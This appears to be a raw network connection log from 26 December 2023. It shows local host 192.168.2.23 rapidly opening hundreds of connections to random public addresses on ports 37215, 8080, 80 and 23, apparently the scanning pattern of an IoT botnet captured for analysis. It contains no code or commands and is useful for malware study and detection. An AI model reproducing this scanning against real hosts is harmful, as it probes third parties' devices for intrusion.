Dec 26, 2023 21:22:48.114518881 CET	45981	37215	192.168.2.23	157.141.161.91
Dec 26, 2023 21:22:48.114518881 CET	45981	37215	192.168.2.23	157.176.111.119
Dec 26, 2023 21:22:48.114527941 CET	45981	37215	192.168.2.23	157.137.159.228
Dec 26, 2023 21:22:48.114531040 CET	45981	37215	192.168.2.23	157.170.30.88
Dec 26, 2023 21:22:48.114531994 CET	45981	37215	192.168.2.23	157.130.114.241
Dec 26, 2023 21:22:48.114545107 CET	45981	37215	192.168.2.23	157.226.24.199
Dec 26, 2023 21:22:48.114548922 CET	45981	37215	192.168.2.23	157.151.168.177
Dec 26, 2023 21:22:48.114550114 CET	45981	37215	192.168.2.23	157.88.246.55
Dec 26, 2023 21:22:48.114550114 CET	45981	37215	192.168.2.23	157.206.123.123
Dec 26, 2023 21:22:48.114567041 CET	45981	37215	192.168.2.23	157.166.20.32
Dec 26, 2023 21:22:48.114576101 CET	45981	37215	192.168.2.23	157.126.154.207
Dec 26, 2023 21:22:48.114578962 CET	45981	37215	192.168.2.23	157.80.89.58
Dec 26, 2023 21:22:48.115921974 CET	8080	45469	85.198.57.46	192.168.2.23
Dec 26, 2023 21:22:48.129885912 CET	47528	80	192.168.2.23	95.42.217.247
Dec 26, 2023 21:22:48.129892111 CET	60244	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.129899979 CET	40030	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.245635033 CET	8080	57496	94.68.244.56	192.168.2.23
Dec 26, 2023 21:22:48.245680094 CET	57496	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:48.245695114 CET	57496	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:48.245724916 CET	45834	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:48.245738983 CET	33972	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:48.245755911 CET	52898	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.246361017 CET	8080	57476	94.68.244.56	192.168.2.23
Dec 26, 2023 21:22:48.247590065 CET	8080	57476	94.68.244.56	192.168.2.23
Dec 26, 2023 21:22:48.347877026 CET	80	45725	88.218.17.138	192.168.2.23
Dec 26, 2023 21:22:48.347924948 CET	45725	80	192.168.2.23	88.218.17.138
Dec 26, 2023 21:22:48.350723982 CET	37215	45981	157.245.37.140	192.168.2.23
Dec 26, 2023 21:22:48.372246981 CET	80	45725	88.20.136.8	192.168.2.23
Dec 26, 2023 21:22:48.372260094 CET	80	40030	88.85.89.10	192.168.2.23
Dec 26, 2023 21:22:48.372304916 CET	40030	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.372452021 CET	40030	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.372452021 CET	40030	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.372483015 CET	40082	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.377103090 CET	80	45725	88.80.110.218	192.168.2.23
Dec 26, 2023 21:22:48.446654081 CET	23	36253	125.4.30.215	192.168.2.23
Dec 26, 2023 21:22:48.467031002 CET	80	60244	112.155.160.2	192.168.2.23
Dec 26, 2023 21:22:48.467080116 CET	60244	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.467191935 CET	60244	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.467191935 CET	60244	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.467231035 CET	60266	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.508718014 CET	8080	45834	31.188.184.56	192.168.2.23
Dec 26, 2023 21:22:48.508769035 CET	45834	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:48.508790016 CET	45469	8080	192.168.2.23	95.204.121.115
Dec 26, 2023 21:22:48.508805037 CET	45469	8080	192.168.2.23	85.192.5.82
Dec 26, 2023 21:22:48.508806944 CET	45469	8080	192.168.2.23	85.254.135.192
Dec 26, 2023 21:22:48.508814096 CET	45469	8080	192.168.2.23	85.140.117.87
Dec 26, 2023 21:22:48.508838892 CET	45469	8080	192.168.2.23	85.83.108.242
Dec 26, 2023 21:22:48.508838892 CET	45469	8080	192.168.2.23	62.211.29.196
Dec 26, 2023 21:22:48.508845091 CET	45469	8080	192.168.2.23	31.17.21.244
Dec 26, 2023 21:22:48.508852005 CET	45469	8080	192.168.2.23	94.249.62.117
Dec 26, 2023 21:22:48.508867025 CET	45469	8080	192.168.2.23	62.252.3.2
Dec 26, 2023 21:22:48.508883953 CET	45469	8080	192.168.2.23	94.213.120.185
Dec 26, 2023 21:22:48.508893967 CET	45469	8080	192.168.2.23	95.41.241.121
Dec 26, 2023 21:22:48.508913040 CET	45469	8080	192.168.2.23	85.193.99.64
Dec 26, 2023 21:22:48.508917093 CET	45469	8080	192.168.2.23	62.155.146.186
Dec 26, 2023 21:22:48.508913040 CET	45469	8080	192.168.2.23	94.127.171.142
Dec 26, 2023 21:22:48.508934021 CET	45469	8080	192.168.2.23	85.2.216.19
Dec 26, 2023 21:22:48.508945942 CET	45469	8080	192.168.2.23	94.56.21.133
Dec 26, 2023 21:22:48.508945942 CET	45469	8080	192.168.2.23	62.214.151.100
Dec 26, 2023 21:22:48.508958101 CET	45469	8080	192.168.2.23	31.0.179.234
Dec 26, 2023 21:22:48.508961916 CET	45469	8080	192.168.2.23	31.70.194.41
Dec 26, 2023 21:22:48.508974075 CET	45469	8080	192.168.2.23	62.223.114.117
Dec 26, 2023 21:22:48.508982897 CET	45469	8080	192.168.2.23	95.111.196.189
Dec 26, 2023 21:22:48.508999109 CET	45469	8080	192.168.2.23	95.67.109.190
Dec 26, 2023 21:22:48.508999109 CET	45469	8080	192.168.2.23	95.0.118.231
Dec 26, 2023 21:22:48.509001017 CET	45469	8080	192.168.2.23	31.58.197.71
Dec 26, 2023 21:22:48.509006977 CET	45469	8080	192.168.2.23	95.33.205.251
Dec 26, 2023 21:22:48.509011984 CET	45469	8080	192.168.2.23	62.242.208.63
Dec 26, 2023 21:22:48.509013891 CET	45469	8080	192.168.2.23	94.122.44.34
Dec 26, 2023 21:22:48.509013891 CET	45469	8080	192.168.2.23	31.251.174.95
Dec 26, 2023 21:22:48.509032011 CET	45469	8080	192.168.2.23	31.159.241.247
Dec 26, 2023 21:22:48.509032011 CET	45469	8080	192.168.2.23	94.6.95.250
Dec 26, 2023 21:22:48.509041071 CET	45469	8080	192.168.2.23	95.57.109.5
Dec 26, 2023 21:22:48.509056091 CET	45469	8080	192.168.2.23	31.61.233.1
Dec 26, 2023 21:22:48.509069920 CET	45469	8080	192.168.2.23	62.231.101.23
Dec 26, 2023 21:22:48.509071112 CET	45469	8080	192.168.2.23	31.0.139.62
Dec 26, 2023 21:22:48.509087086 CET	45469	8080	192.168.2.23	85.156.19.14
Dec 26, 2023 21:22:48.509103060 CET	45469	8080	192.168.2.23	94.65.50.22
Dec 26, 2023 21:22:48.509108067 CET	45469	8080	192.168.2.23	95.71.138.120
Dec 26, 2023 21:22:48.509111881 CET	45469	8080	192.168.2.23	62.230.69.90
Dec 26, 2023 21:22:48.509136915 CET	45469	8080	192.168.2.23	31.78.235.240
Dec 26, 2023 21:22:48.509138107 CET	45469	8080	192.168.2.23	31.116.102.151
Dec 26, 2023 21:22:48.509143114 CET	45469	8080	192.168.2.23	85.26.227.82
Dec 26, 2023 21:22:48.509145975 CET	45469	8080	192.168.2.23	62.149.168.52
Dec 26, 2023 21:22:48.509176970 CET	45469	8080	192.168.2.23	95.146.140.128
Dec 26, 2023 21:22:48.509182930 CET	45469	8080	192.168.2.23	62.59.178.134
Dec 26, 2023 21:22:48.509197950 CET	45469	8080	192.168.2.23	85.81.249.102
Dec 26, 2023 21:22:48.509216070 CET	45469	8080	192.168.2.23	95.164.227.87
Dec 26, 2023 21:22:48.509228945 CET	45469	8080	192.168.2.23	94.188.208.22
Dec 26, 2023 21:22:48.509237051 CET	45469	8080	192.168.2.23	85.56.144.58
Dec 26, 2023 21:22:48.509239912 CET	45469	8080	192.168.2.23	85.63.136.119
Dec 26, 2023 21:22:48.509248972 CET	45469	8080	192.168.2.23	31.52.59.224
Dec 26, 2023 21:22:48.509265900 CET	45469	8080	192.168.2.23	62.138.63.83
Dec 26, 2023 21:22:48.509280920 CET	45469	8080	192.168.2.23	85.0.122.14
Dec 26, 2023 21:22:48.509289026 CET	45469	8080	192.168.2.23	62.221.175.28
Dec 26, 2023 21:22:48.509289026 CET	45469	8080	192.168.2.23	62.200.106.124
Dec 26, 2023 21:22:48.509306908 CET	45469	8080	192.168.2.23	62.75.33.75
Dec 26, 2023 21:22:48.509306908 CET	45469	8080	192.168.2.23	62.33.74.182
Dec 26, 2023 21:22:48.509327888 CET	45469	8080	192.168.2.23	85.142.158.251
Dec 26, 2023 21:22:48.509330988 CET	45469	8080	192.168.2.23	95.207.136.98
Dec 26, 2023 21:22:48.509337902 CET	45469	8080	192.168.2.23	62.112.14.148
Dec 26, 2023 21:22:48.509347916 CET	45469	8080	192.168.2.23	95.222.15.169
Dec 26, 2023 21:22:48.509358883 CET	45469	8080	192.168.2.23	95.71.71.128
Dec 26, 2023 21:22:48.509367943 CET	45469	8080	192.168.2.23	62.28.137.60
Dec 26, 2023 21:22:48.509375095 CET	45469	8080	192.168.2.23	62.127.60.24
Dec 26, 2023 21:22:48.509377003 CET	45469	8080	192.168.2.23	31.38.201.254
Dec 26, 2023 21:22:48.509378910 CET	45469	8080	192.168.2.23	95.142.59.45
Dec 26, 2023 21:22:48.509394884 CET	45469	8080	192.168.2.23	94.194.184.201
Dec 26, 2023 21:22:48.509403944 CET	45469	8080	192.168.2.23	31.132.140.252
Dec 26, 2023 21:22:48.509417057 CET	45469	8080	192.168.2.23	85.119.4.14
Dec 26, 2023 21:22:48.509417057 CET	45469	8080	192.168.2.23	95.164.104.41
Dec 26, 2023 21:22:48.509428024 CET	45469	8080	192.168.2.23	31.70.190.249
Dec 26, 2023 21:22:48.509428024 CET	45469	8080	192.168.2.23	62.103.124.101
Dec 26, 2023 21:22:48.509438038 CET	45469	8080	192.168.2.23	31.84.159.136
Dec 26, 2023 21:22:48.509455919 CET	45469	8080	192.168.2.23	95.161.156.242
Dec 26, 2023 21:22:48.509460926 CET	45469	8080	192.168.2.23	85.56.61.240
Dec 26, 2023 21:22:48.509483099 CET	45469	8080	192.168.2.23	94.197.135.106
Dec 26, 2023 21:22:48.509489059 CET	45469	8080	192.168.2.23	31.236.139.100
Dec 26, 2023 21:22:48.509500027 CET	45469	8080	192.168.2.23	31.230.72.116
Dec 26, 2023 21:22:48.509516001 CET	45469	8080	192.168.2.23	62.208.66.4
Dec 26, 2023 21:22:48.509526014 CET	45469	8080	192.168.2.23	85.23.194.230
Dec 26, 2023 21:22:48.509532928 CET	45469	8080	192.168.2.23	95.82.126.113
Dec 26, 2023 21:22:48.509552956 CET	45469	8080	192.168.2.23	95.33.191.192
Dec 26, 2023 21:22:48.509567976 CET	45469	8080	192.168.2.23	31.31.47.49
Dec 26, 2023 21:22:48.509567976 CET	45469	8080	192.168.2.23	31.35.18.198
Dec 26, 2023 21:22:48.509583950 CET	45469	8080	192.168.2.23	62.162.231.209
Dec 26, 2023 21:22:48.509591103 CET	45469	8080	192.168.2.23	94.79.138.201
Dec 26, 2023 21:22:48.509603024 CET	45469	8080	192.168.2.23	94.63.161.151
Dec 26, 2023 21:22:48.509623051 CET	45469	8080	192.168.2.23	31.150.168.178
Dec 26, 2023 21:22:48.509625912 CET	45469	8080	192.168.2.23	85.84.170.69
Dec 26, 2023 21:22:48.509625912 CET	45469	8080	192.168.2.23	95.158.18.112
Dec 26, 2023 21:22:48.509649038 CET	45469	8080	192.168.2.23	62.123.76.26
Dec 26, 2023 21:22:48.509664059 CET	45469	8080	192.168.2.23	95.219.139.99
Dec 26, 2023 21:22:48.509668112 CET	45469	8080	192.168.2.23	31.253.144.108
Dec 26, 2023 21:22:48.509668112 CET	45469	8080	192.168.2.23	85.175.20.183
Dec 26, 2023 21:22:48.509680033 CET	45469	8080	192.168.2.23	85.93.196.79
Dec 26, 2023 21:22:48.509689093 CET	45469	8080	192.168.2.23	62.136.229.212
Dec 26, 2023 21:22:48.509692907 CET	45469	8080	192.168.2.23	95.185.90.133
Dec 26, 2023 21:22:48.509697914 CET	45469	8080	192.168.2.23	62.31.174.220
Dec 26, 2023 21:22:48.509713888 CET	45469	8080	192.168.2.23	94.190.43.162
Dec 26, 2023 21:22:48.509713888 CET	45469	8080	192.168.2.23	31.3.239.149
Dec 26, 2023 21:22:48.509726048 CET	45469	8080	192.168.2.23	85.77.195.245
Dec 26, 2023 21:22:48.509730101 CET	45469	8080	192.168.2.23	85.67.118.186
Dec 26, 2023 21:22:48.509737968 CET	45469	8080	192.168.2.23	94.47.105.123
Dec 26, 2023 21:22:48.509752989 CET	45469	8080	192.168.2.23	85.76.190.71
Dec 26, 2023 21:22:48.509768963 CET	45469	8080	192.168.2.23	31.47.148.165
Dec 26, 2023 21:22:48.509780884 CET	45469	8080	192.168.2.23	85.170.174.175
Dec 26, 2023 21:22:48.509790897 CET	45469	8080	192.168.2.23	85.41.192.163
Dec 26, 2023 21:22:48.509799957 CET	45469	8080	192.168.2.23	31.209.74.102
Dec 26, 2023 21:22:48.509804010 CET	45469	8080	192.168.2.23	85.20.222.44
Dec 26, 2023 21:22:48.509805918 CET	45469	8080	192.168.2.23	94.86.219.201
Dec 26, 2023 21:22:48.509833097 CET	45469	8080	192.168.2.23	62.254.1.54
Dec 26, 2023 21:22:48.509850979 CET	45469	8080	192.168.2.23	85.196.116.131
Dec 26, 2023 21:22:48.509852886 CET	45469	8080	192.168.2.23	62.63.128.128
Dec 26, 2023 21:22:48.509869099 CET	45469	8080	192.168.2.23	94.70.43.191
Dec 26, 2023 21:22:48.509871006 CET	45469	8080	192.168.2.23	85.70.195.153
Dec 26, 2023 21:22:48.509887934 CET	45469	8080	192.168.2.23	31.233.200.227
Dec 26, 2023 21:22:48.509897947 CET	45469	8080	192.168.2.23	31.74.207.205
Dec 26, 2023 21:22:48.509897947 CET	45469	8080	192.168.2.23	94.232.247.213
Dec 26, 2023 21:22:48.509897947 CET	45469	8080	192.168.2.23	85.234.197.229
Dec 26, 2023 21:22:48.509913921 CET	45469	8080	192.168.2.23	85.151.226.125
Dec 26, 2023 21:22:48.509922028 CET	45469	8080	192.168.2.23	94.151.193.201
Dec 26, 2023 21:22:48.509922028 CET	45469	8080	192.168.2.23	94.14.167.252
Dec 26, 2023 21:22:48.509927988 CET	45469	8080	192.168.2.23	31.83.185.55
Dec 26, 2023 21:22:48.509937048 CET	45469	8080	192.168.2.23	85.52.131.182
Dec 26, 2023 21:22:48.509937048 CET	45469	8080	192.168.2.23	85.117.29.186
Dec 26, 2023 21:22:48.509953976 CET	45469	8080	192.168.2.23	95.202.198.179
Dec 26, 2023 21:22:48.509972095 CET	45469	8080	192.168.2.23	31.51.189.15
Dec 26, 2023 21:22:48.509991884 CET	45469	8080	192.168.2.23	31.242.91.221
Dec 26, 2023 21:22:48.509999990 CET	45469	8080	192.168.2.23	85.121.21.177
Dec 26, 2023 21:22:48.510006905 CET	45469	8080	192.168.2.23	85.237.252.72
Dec 26, 2023 21:22:48.510006905 CET	45469	8080	192.168.2.23	62.10.13.17
Dec 26, 2023 21:22:48.510006905 CET	45469	8080	192.168.2.23	62.243.220.54
Dec 26, 2023 21:22:48.510010004 CET	45469	8080	192.168.2.23	85.86.50.49
Dec 26, 2023 21:22:48.510021925 CET	45469	8080	192.168.2.23	62.241.76.231
Dec 26, 2023 21:22:48.510035992 CET	45469	8080	192.168.2.23	94.138.156.59
Dec 26, 2023 21:22:48.510039091 CET	45469	8080	192.168.2.23	95.34.152.74
Dec 26, 2023 21:22:48.510046005 CET	45469	8080	192.168.2.23	95.79.108.254
Dec 26, 2023 21:22:48.510050058 CET	45469	8080	192.168.2.23	62.68.189.159
Dec 26, 2023 21:22:48.510055065 CET	45469	8080	192.168.2.23	94.14.172.133
Dec 26, 2023 21:22:48.510070086 CET	45469	8080	192.168.2.23	31.177.176.241
Dec 26, 2023 21:22:48.510071039 CET	45469	8080	192.168.2.23	85.201.165.27
Dec 26, 2023 21:22:48.510090113 CET	45469	8080	192.168.2.23	95.148.151.25
Dec 26, 2023 21:22:48.510102987 CET	45469	8080	192.168.2.23	62.25.88.159
Dec 26, 2023 21:22:48.510107994 CET	45469	8080	192.168.2.23	94.134.211.146
Dec 26, 2023 21:22:48.510113001 CET	45469	8080	192.168.2.23	95.179.254.143
Dec 26, 2023 21:22:48.510126114 CET	45469	8080	192.168.2.23	94.88.160.254
Dec 26, 2023 21:22:48.510149002 CET	45469	8080	192.168.2.23	95.61.159.242
Dec 26, 2023 21:22:48.510149002 CET	45469	8080	192.168.2.23	31.9.222.99
Dec 26, 2023 21:22:48.510152102 CET	45469	8080	192.168.2.23	85.255.195.206
Dec 26, 2023 21:22:48.510164976 CET	45469	8080	192.168.2.23	62.139.68.185
Dec 26, 2023 21:22:48.510174036 CET	45469	8080	192.168.2.23	94.201.60.27
Dec 26, 2023 21:22:48.510190010 CET	45469	8080	192.168.2.23	31.74.192.80
Dec 26, 2023 21:22:48.510206938 CET	45469	8080	192.168.2.23	62.108.107.209
Dec 26, 2023 21:22:48.510210037 CET	45469	8080	192.168.2.23	62.168.127.99
Dec 26, 2023 21:22:48.510210991 CET	45469	8080	192.168.2.23	31.86.168.125
Dec 26, 2023 21:22:48.510217905 CET	45469	8080	192.168.2.23	95.74.115.133
Dec 26, 2023 21:22:48.510222912 CET	45469	8080	192.168.2.23	95.142.53.174
Dec 26, 2023 21:22:48.510222912 CET	45469	8080	192.168.2.23	94.66.242.176
Dec 26, 2023 21:22:48.510225058 CET	45469	8080	192.168.2.23	94.83.39.33
Dec 26, 2023 21:22:48.510247946 CET	45469	8080	192.168.2.23	62.132.6.243
Dec 26, 2023 21:22:48.510248899 CET	45469	8080	192.168.2.23	31.236.114.21
Dec 26, 2023 21:22:48.510257006 CET	45469	8080	192.168.2.23	85.163.162.36
Dec 26, 2023 21:22:48.510263920 CET	45469	8080	192.168.2.23	94.60.33.160
Dec 26, 2023 21:22:48.510284901 CET	45469	8080	192.168.2.23	94.98.26.194
Dec 26, 2023 21:22:48.510294914 CET	45469	8080	192.168.2.23	94.174.102.188
Dec 26, 2023 21:22:48.510299921 CET	45469	8080	192.168.2.23	94.170.250.228
Dec 26, 2023 21:22:48.510315895 CET	45469	8080	192.168.2.23	95.48.103.225
Dec 26, 2023 21:22:48.510318041 CET	45469	8080	192.168.2.23	62.51.128.28
Dec 26, 2023 21:22:48.510325909 CET	45469	8080	192.168.2.23	95.251.59.77
Dec 26, 2023 21:22:48.510325909 CET	45469	8080	192.168.2.23	31.33.28.132
Dec 26, 2023 21:22:48.510335922 CET	45469	8080	192.168.2.23	31.135.220.4
Dec 26, 2023 21:22:48.510338068 CET	45469	8080	192.168.2.23	31.167.74.82
Dec 26, 2023 21:22:48.510338068 CET	45469	8080	192.168.2.23	62.165.72.128
Dec 26, 2023 21:22:48.510338068 CET	45469	8080	192.168.2.23	85.110.103.127
Dec 26, 2023 21:22:48.510339975 CET	45469	8080	192.168.2.23	95.117.113.248
Dec 26, 2023 21:22:48.510348082 CET	45469	8080	192.168.2.23	31.107.40.16
Dec 26, 2023 21:22:48.510349035 CET	45469	8080	192.168.2.23	62.100.235.226
Dec 26, 2023 21:22:48.510360003 CET	45469	8080	192.168.2.23	31.246.248.9
Dec 26, 2023 21:22:48.510365009 CET	45469	8080	192.168.2.23	95.206.198.10
Dec 26, 2023 21:22:48.510382891 CET	45469	8080	192.168.2.23	95.231.111.74
Dec 26, 2023 21:22:48.510382891 CET	45469	8080	192.168.2.23	85.102.57.118
Dec 26, 2023 21:22:48.510401011 CET	45469	8080	192.168.2.23	95.233.41.81
Dec 26, 2023 21:22:48.510415077 CET	45469	8080	192.168.2.23	94.98.148.237
Dec 26, 2023 21:22:48.510432959 CET	45469	8080	192.168.2.23	31.208.120.230
Dec 26, 2023 21:22:48.510432959 CET	45469	8080	192.168.2.23	31.133.207.178
Dec 26, 2023 21:22:48.510443926 CET	45469	8080	192.168.2.23	95.98.241.95
Dec 26, 2023 21:22:48.510458946 CET	45469	8080	192.168.2.23	31.225.76.172
Dec 26, 2023 21:22:48.510462999 CET	45469	8080	192.168.2.23	94.227.37.13
Dec 26, 2023 21:22:48.510468006 CET	45469	8080	192.168.2.23	94.73.150.47
Dec 26, 2023 21:22:48.510485888 CET	45469	8080	192.168.2.23	95.62.217.68
Dec 26, 2023 21:22:48.510500908 CET	45469	8080	192.168.2.23	94.244.171.208
Dec 26, 2023 21:22:48.510500908 CET	45469	8080	192.168.2.23	85.106.121.28
Dec 26, 2023 21:22:48.510519981 CET	45469	8080	192.168.2.23	31.213.140.169
Dec 26, 2023 21:22:48.510535002 CET	45469	8080	192.168.2.23	94.160.118.79
Dec 26, 2023 21:22:48.510545015 CET	45469	8080	192.168.2.23	62.165.56.212
Dec 26, 2023 21:22:48.510561943 CET	45469	8080	192.168.2.23	85.118.55.117
Dec 26, 2023 21:22:48.510569096 CET	45469	8080	192.168.2.23	62.212.70.38
Dec 26, 2023 21:22:48.510574102 CET	45469	8080	192.168.2.23	31.59.172.150
Dec 26, 2023 21:22:48.510574102 CET	45469	8080	192.168.2.23	94.97.171.145
Dec 26, 2023 21:22:48.510582924 CET	45469	8080	192.168.2.23	94.105.112.38
Dec 26, 2023 21:22:48.510601044 CET	45469	8080	192.168.2.23	62.75.176.147
Dec 26, 2023 21:22:48.510612011 CET	45469	8080	192.168.2.23	31.1.145.199
Dec 26, 2023 21:22:48.510632038 CET	45469	8080	192.168.2.23	95.8.195.166
Dec 26, 2023 21:22:48.510632992 CET	45469	8080	192.168.2.23	94.251.150.234
Dec 26, 2023 21:22:48.510632992 CET	45469	8080	192.168.2.23	62.23.103.107
Dec 26, 2023 21:22:48.510634899 CET	45469	8080	192.168.2.23	62.102.196.17
Dec 26, 2023 21:22:48.510641098 CET	45469	8080	192.168.2.23	94.33.95.201
Dec 26, 2023 21:22:48.510644913 CET	45469	8080	192.168.2.23	31.148.213.63
Dec 26, 2023 21:22:48.510653019 CET	45469	8080	192.168.2.23	94.239.193.248
Dec 26, 2023 21:22:48.510670900 CET	45469	8080	192.168.2.23	94.34.98.229
Dec 26, 2023 21:22:48.510688066 CET	45469	8080	192.168.2.23	62.175.143.88
Dec 26, 2023 21:22:48.510688066 CET	45469	8080	192.168.2.23	94.198.71.66
Dec 26, 2023 21:22:48.510693073 CET	45469	8080	192.168.2.23	95.235.198.250
Dec 26, 2023 21:22:48.510705948 CET	45469	8080	192.168.2.23	95.40.43.21
Dec 26, 2023 21:22:48.510710955 CET	45469	8080	192.168.2.23	62.121.201.34
Dec 26, 2023 21:22:48.510718107 CET	45469	8080	192.168.2.23	62.173.217.167
Dec 26, 2023 21:22:48.510727882 CET	45469	8080	192.168.2.23	95.52.28.212
Dec 26, 2023 21:22:48.510736942 CET	45469	8080	192.168.2.23	95.11.191.173
Dec 26, 2023 21:22:48.510756969 CET	45469	8080	192.168.2.23	62.210.195.156
Dec 26, 2023 21:22:48.510772943 CET	45469	8080	192.168.2.23	62.53.200.32
Dec 26, 2023 21:22:48.510776043 CET	45469	8080	192.168.2.23	62.33.80.70
Dec 26, 2023 21:22:48.510778904 CET	45469	8080	192.168.2.23	95.79.117.155
Dec 26, 2023 21:22:48.510785103 CET	45469	8080	192.168.2.23	94.237.32.188
Dec 26, 2023 21:22:48.510787010 CET	45469	8080	192.168.2.23	94.61.217.204
Dec 26, 2023 21:22:48.510804892 CET	45469	8080	192.168.2.23	85.230.8.208
Dec 26, 2023 21:22:48.510804892 CET	45469	8080	192.168.2.23	62.199.200.46
Dec 26, 2023 21:22:48.510823011 CET	45469	8080	192.168.2.23	31.165.7.101
Dec 26, 2023 21:22:48.510828018 CET	45469	8080	192.168.2.23	94.82.16.4
Dec 26, 2023 21:22:48.510829926 CET	45469	8080	192.168.2.23	31.33.194.172
Dec 26, 2023 21:22:48.510829926 CET	45469	8080	192.168.2.23	31.242.90.29
Dec 26, 2023 21:22:48.510837078 CET	45469	8080	192.168.2.23	85.10.12.204
Dec 26, 2023 21:22:48.510837078 CET	45469	8080	192.168.2.23	31.30.245.83
Dec 26, 2023 21:22:48.510845900 CET	45469	8080	192.168.2.23	31.86.121.103
Dec 26, 2023 21:22:48.510845900 CET	45469	8080	192.168.2.23	95.4.32.64
Dec 26, 2023 21:22:48.510848045 CET	45469	8080	192.168.2.23	85.143.253.162
Dec 26, 2023 21:22:48.510847092 CET	45469	8080	192.168.2.23	85.230.188.7
Dec 26, 2023 21:22:48.510859013 CET	45469	8080	192.168.2.23	94.122.41.211
Dec 26, 2023 21:22:48.510860920 CET	45469	8080	192.168.2.23	94.134.218.110
Dec 26, 2023 21:22:48.510860920 CET	45469	8080	192.168.2.23	31.89.109.119
Dec 26, 2023 21:22:48.510864019 CET	45469	8080	192.168.2.23	94.55.169.72
Dec 26, 2023 21:22:48.510871887 CET	45469	8080	192.168.2.23	94.65.14.117
Dec 26, 2023 21:22:48.510873079 CET	45469	8080	192.168.2.23	94.167.106.253
Dec 26, 2023 21:22:48.510874987 CET	45469	8080	192.168.2.23	95.43.70.183
Dec 26, 2023 21:22:48.510876894 CET	45469	8080	192.168.2.23	94.164.33.106
Dec 26, 2023 21:22:48.510876894 CET	45469	8080	192.168.2.23	95.18.255.245
Dec 26, 2023 21:22:48.510876894 CET	45469	8080	192.168.2.23	62.159.16.136
Dec 26, 2023 21:22:48.510879040 CET	45469	8080	192.168.2.23	62.52.85.43
Dec 26, 2023 21:22:48.510888100 CET	45469	8080	192.168.2.23	94.230.49.199
Dec 26, 2023 21:22:48.510888100 CET	45469	8080	192.168.2.23	94.18.152.0
Dec 26, 2023 21:22:48.510889053 CET	45469	8080	192.168.2.23	85.142.115.208
Dec 26, 2023 21:22:48.510890007 CET	45469	8080	192.168.2.23	94.62.131.20
Dec 26, 2023 21:22:48.510894060 CET	45469	8080	192.168.2.23	94.46.141.122
Dec 26, 2023 21:22:48.510900974 CET	45469	8080	192.168.2.23	95.121.124.228
Dec 26, 2023 21:22:48.510911942 CET	45469	8080	192.168.2.23	94.140.201.216
Dec 26, 2023 21:22:48.510916948 CET	45469	8080	192.168.2.23	31.212.72.62
Dec 26, 2023 21:22:48.510916948 CET	45469	8080	192.168.2.23	85.207.81.120
Dec 26, 2023 21:22:48.510930061 CET	45469	8080	192.168.2.23	62.222.105.247
Dec 26, 2023 21:22:48.510947943 CET	45469	8080	192.168.2.23	85.113.137.217
Dec 26, 2023 21:22:48.510963917 CET	45469	8080	192.168.2.23	62.245.65.145
Dec 26, 2023 21:22:48.510968924 CET	45469	8080	192.168.2.23	31.249.253.216
Dec 26, 2023 21:22:48.510972977 CET	45469	8080	192.168.2.23	95.157.230.4
Dec 26, 2023 21:22:48.510972977 CET	45469	8080	192.168.2.23	95.156.167.106
Dec 26, 2023 21:22:48.510986090 CET	45469	8080	192.168.2.23	85.249.99.168
Dec 26, 2023 21:22:48.510991096 CET	45469	8080	192.168.2.23	95.177.13.79
Dec 26, 2023 21:22:48.511006117 CET	45469	8080	192.168.2.23	31.146.251.24
Dec 26, 2023 21:22:48.511009932 CET	45469	8080	192.168.2.23	62.10.34.193
Dec 26, 2023 21:22:48.511024952 CET	45469	8080	192.168.2.23	95.97.147.166
Dec 26, 2023 21:22:48.511032104 CET	45469	8080	192.168.2.23	31.159.169.155
Dec 26, 2023 21:22:48.511032104 CET	45469	8080	192.168.2.23	62.244.211.7
Dec 26, 2023 21:22:48.511042118 CET	45469	8080	192.168.2.23	95.199.240.253
Dec 26, 2023 21:22:48.511042118 CET	45469	8080	192.168.2.23	95.34.122.80
Dec 26, 2023 21:22:48.511042118 CET	45469	8080	192.168.2.23	62.189.216.136
Dec 26, 2023 21:22:48.511043072 CET	45469	8080	192.168.2.23	94.13.82.155
Dec 26, 2023 21:22:48.511050940 CET	45469	8080	192.168.2.23	94.169.249.112
Dec 26, 2023 21:22:48.511053085 CET	45469	8080	192.168.2.23	95.79.29.20
Dec 26, 2023 21:22:48.511060953 CET	45469	8080	192.168.2.23	62.147.222.117
Dec 26, 2023 21:22:48.511070967 CET	45469	8080	192.168.2.23	95.104.113.248
Dec 26, 2023 21:22:48.511090994 CET	45469	8080	192.168.2.23	94.63.84.221
Dec 26, 2023 21:22:48.511096001 CET	45469	8080	192.168.2.23	94.144.75.151
Dec 26, 2023 21:22:48.511101961 CET	45469	8080	192.168.2.23	62.126.67.63
Dec 26, 2023 21:22:48.511111021 CET	45469	8080	192.168.2.23	31.8.15.93
Dec 26, 2023 21:22:48.511125088 CET	45469	8080	192.168.2.23	94.199.253.136
Dec 26, 2023 21:22:48.511132956 CET	45469	8080	192.168.2.23	62.127.190.111
Dec 26, 2023 21:22:48.511137962 CET	45469	8080	192.168.2.23	31.178.199.36
Dec 26, 2023 21:22:48.511142969 CET	45469	8080	192.168.2.23	31.68.151.139
Dec 26, 2023 21:22:48.511149883 CET	45469	8080	192.168.2.23	62.109.74.166
Dec 26, 2023 21:22:48.511157036 CET	45469	8080	192.168.2.23	31.83.224.243
Dec 26, 2023 21:22:48.511157990 CET	45469	8080	192.168.2.23	94.47.95.65
Dec 26, 2023 21:22:48.511166096 CET	45469	8080	192.168.2.23	94.6.33.133
Dec 26, 2023 21:22:48.511173010 CET	45469	8080	192.168.2.23	95.26.181.189
Dec 26, 2023 21:22:48.511178970 CET	45469	8080	192.168.2.23	95.121.51.145
Dec 26, 2023 21:22:48.511190891 CET	45469	8080	192.168.2.23	62.194.40.227
